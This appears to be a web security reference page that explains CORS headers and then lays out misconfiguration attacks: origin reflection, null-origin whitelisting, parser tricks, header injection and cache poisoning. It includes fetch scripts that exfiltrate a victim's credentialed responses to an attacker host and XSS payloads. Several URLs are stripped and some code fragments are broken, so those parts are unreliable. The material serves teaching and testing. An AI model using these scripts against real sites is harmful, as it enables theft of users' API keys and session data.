CORS Misconfiguration

Cross-origin resource sharing (CORS)

Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy (SOP).

The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain

The CORS standard works by adding new HTTP headers that let servers describe which origins are permitted to read that information from a web browser. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin from its own.

Origin is the following triple: (scheme, host, port)

For HTTP request methods that can cause side-effects on server data, the specification mandates that browsers preflight the request, soliciting supported methods from a server with the HTTP OPTIONS request method, and then, upon approval from a server, sending the actual request.

Servers can also inform clients whether credentials should be sent with requests.

CORS failures result in errors, but specifics about the error are not available to JavaScript.

Simple requests

Simple requests do not trigger a CORS preflight. A simple request is one that meets all the following conditions:

  • One of the allowed methods:

    • GET

    • HEAD

    • POST

  • The only allowed headers which can will be set manually:

    • Accept

    • Accept-Language

    • Content-Language

    • Content-Type

    • DPR

    • Downlink

    • Save-Data

    • Viewport-Width

    • Width

  • The only allowed values for the Content-Type header:

    • application/x-www-form-urlencoded

    • multipart/form-data

    • text/plain

  • No event listeners are registered on any XMLHttpRequestUpload object used in a request (these are accessed using the XMLHttpRequest.upload property).

  • No ReadableStream object is used in a request.

Preflighted requests

Preflighted requests first send a HTTP request by the OPTIONS method to a resource on an other domain, to determine if an actual request is safe to send.

Requests with credentials

Credentialed requests allow to send HTTP cookies and HTTP Authentication information (by default browsers will not send credentials).

When responding to a credentialed request, a server must specify an origin in a value of the Access-Control-Allow-Origin header, instead of specifying the '*' wildcard.

Cookies set in CORS responses are subject to normal third-party cookie policies

The HTTP request headers

This section describes headers that a client may set when issuing HTTP requests in order to make use of the CORS feature. These headers are set by a browser when making requests to a server. Developers using cross-site XMLHttpRequest capability do not have to set any CORS headers programmatically.


Origin: <origin>

The Origin header indicates an origin of a cross-site access request or preflight request. The origin parameter is a URI indicating a server from which the request initiated. It does not include any path information, but only a server name.

The origin value can be null, or a URI

In any access control request, the Origin header is always sent


Access-Control-Request-Method: <method>

The Access-Control-Request-Method is used when issuing a preflight request to let a server know what HTTP method will be used when an actual request is made.


Access-Control-Request-Headers: <field-name>[, <field-name>]*

The Access-Control-Request-Headers header is used when issuing a preflight request to let a server know what HTTP headers will be used when an actual request is made.

The HTTP Response Headers

This section describes HTTP response headers that a server sends back for access control requests as defined by the CORS specification.


Access-Control-Allow-Origin: <origin-or-null> | *

The Access-Control-Allow-Origin specifies either a single origin (or null), which tells browsers to allow that origin to access a resource. For requests without credentials - the '*' wildcard, to tell browsers to allow any origin to access a resource.

If a server specifies a single origin rather than the '*' wildcard, a server should also set Origin in the Vary response header - to indicate to clients that server responses will differ based on the value of the Origin request header.


Access-Control-Allow-Methods: <method>[, <method>]*

The Access-Control-Allow-Methods header specifies a method or methods allowed when accessing a resource. This is used in response to a preflight request.


Access-Control-Allow-Headers: <header-name>[, <header-name>]*

The Access-Control-Allow-Headers header is used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.


Access-Control-Expose-Headers: <header-name>[, <header-name>]*

The Access-Control-Expose-Headers header lets a server whitelist headers that browsers are allowed to access. By default, browsers have access to only the 7 CORS-safelisted response headers:

  • Cache-Control

  • Content-Language

  • Content-Length

  • Content-Type

  • Expires

  • Last-Modified

  • Pragma


Access-Control-Max-Age: <delta-seconds>

The Access-Control-Max-Age header indicates how long results of a preflight request can be cached.


Access-Control-Allow-Credentials: true

When a request's credentials mode (Request.credentials) is include, browsers will only expose a response to frontend JavaScript code if the Access-Control-Allow-Credentials value is true.

Credentials are cookies, authorization headers or TLS client certificates.

CORS misconfiguration

Abusing CORS without credentials

If a victim's network location works as a kind of authentication, you can use a victim’s browser as a proxy to bypass IP-based authentication and access applications within an internal network.

In terms of impact this is similar to DNS rebinding.

Breaking TLS with poorly configured CORS

Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For instance, when an application receives the following request:

GET /api/request/api_key HTTP/1.1
Cookie: sessionid=...

An application responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true

In such case, an attacker who is in a position to intercept a victim's traffic can exploit the CORS configuration to compromise a victim's interaction with the application. The attack involves the next steps:

  1. A victim user makes any plain HTTP request

  2. An attacker injects a redirection to

  3. A victim's browser follows the redirect

  4. An attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to

  5. A victim's browser makes the CORS request, including the as an origin

  6. An application allows the request because the origin is whitelisted; requested sensitive data is returned in the response

  7. An attacker's spoofed page can read the sensitive data and transmit it to any domain under their control

The attack is effective even if a vulnerable application is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure.

Broken parser

Most servers use basic string operations to verify the Origin header, but some parse it as a URL instead. This allows you to exploit the browser's tolerance for unusual characters in domain names.

In Safari, is a valid URL. If a CORS request originating from that URL, the Origin header will look like next one:


A server may parse this header as omitting the ` part.

Chrome and Firefox supported the _ character in subdomains, that can be used instead of ` to exploit Firefox and Chrome users.

You can also try to use other approaches to break a validation:


Exploiting XSS via CORS trust relationships

Even "correctly" configured CORS establishes a trust relationship between two origins. If an application trusts an origin that is vulnerable to XSS, an attacker can inject JavaScript to retrieve sensitive information from the application using CORS.

Given the following request:

GET /api/request/api_key HTTP/1.1
Cookie: sessionid=...

If an application responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true

An attacker who finds an XSS vulnerability on could use that to retrieve an API key using a URL like:<script>cors-stuff-here</script>

Generation the Access-Control-Allow-Origin header

No browsers actually support a space-separated list of origins (the specification suggests this):


Additionally, a wildcard does not allow you to trust all subdomains:

Access-Control-Allow-Origin: *

There is only wildcard origin '*'.

Since you can't use wildcard in Access-Control-Allow-Origin when credentials flag is true, check Access-Control-Allow-Origin, many applications programmatically generate the Access-Control-Allow-Origin header based on the user-supplied Origin value. If you see a HTTP response with any Access-Control-* headers but no origins declared, this is a strong indication that an application will generate the header based on a user input. Other applications will only send CORS headers if they receive a request containing the Origin header, making associated vulnerabilities extremely easy to miss.

For instance, an application receives the following request:

GET /sensitive-victim-data HTTP/1.1
Cookie: sessionid=<token>

and responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true

If the response contains any sensitive information such as an API key or CSRF token, you can retrieve this by placing the following script on your resource:

fetch("", {
    credentials: "include"
    .then((response) => {
        document.location = "//{0}".format(response.text());

Server-side cache poisoning

If an application reflects the Origin header without even checking it for illegal characters like , you have a HTTP header injection vulnerability against IE/Edge users, because IE and Edge view \r (0x0d) as a valid HTTP header terminator:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer sees the response as:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

This is not directly exploitable because there is no way for an attacker to make someone's browser send such a malformed header, but you can manually craft this request and a server-side cache may save the response and serve it to other people. The current payload will change the page's character set to UTF-7, which is notoriously useful for creating XSS vulnerabilities.

The null origin

The specification for the Origin header supports the value null. Browsers might send the value null in the Origin header in various unusual situations:

  • Cross-site redirects

  • Requests from serialized data

  • Request using the file: protocol

  • Sandboxed cross-origin requests

Some applications might whitelist the null origin to support local development of the application.

For instance, application receives the following request:

GET /sensitive-victim-data
Origin: null

and responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

In such case, an attacker can use various tricks to generate a cross-domain request containing the value null in the Origin header. This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request of the form:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
fetch('', {
    credentials: 'include'
    .then((response) => {
        document.location = '//{0}'.format(response.text());

Vary: Origin and client-side cache poisoning

The CORS specification instructs developers specify Origin in the Vary response header whenever Access-Control-Allow-Origin headers are dynamically generated.

Vary: Origin

That might sound pretty simple, but immense numbers of developers forget, including the W3C itself.

Suppose an application reflects the contents of a custom header without encoding (reflected XSS in a custom HTTP header):

GET / HTTP/1.1
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html

Invalid user: <svg/onload=alert(1)>

Without CORS, this is impossible to exploit as there is no way to make someone's browser send the X-User-id header cross-domain.

With CORS, you can make them send this request. By itself, that is useless since the response containing injected JavaScript will not be rendered. However, if Vary: Origin has not been specified the response may be stored in the browser's cache and displayed directly when the browser navigates to the associated URL.


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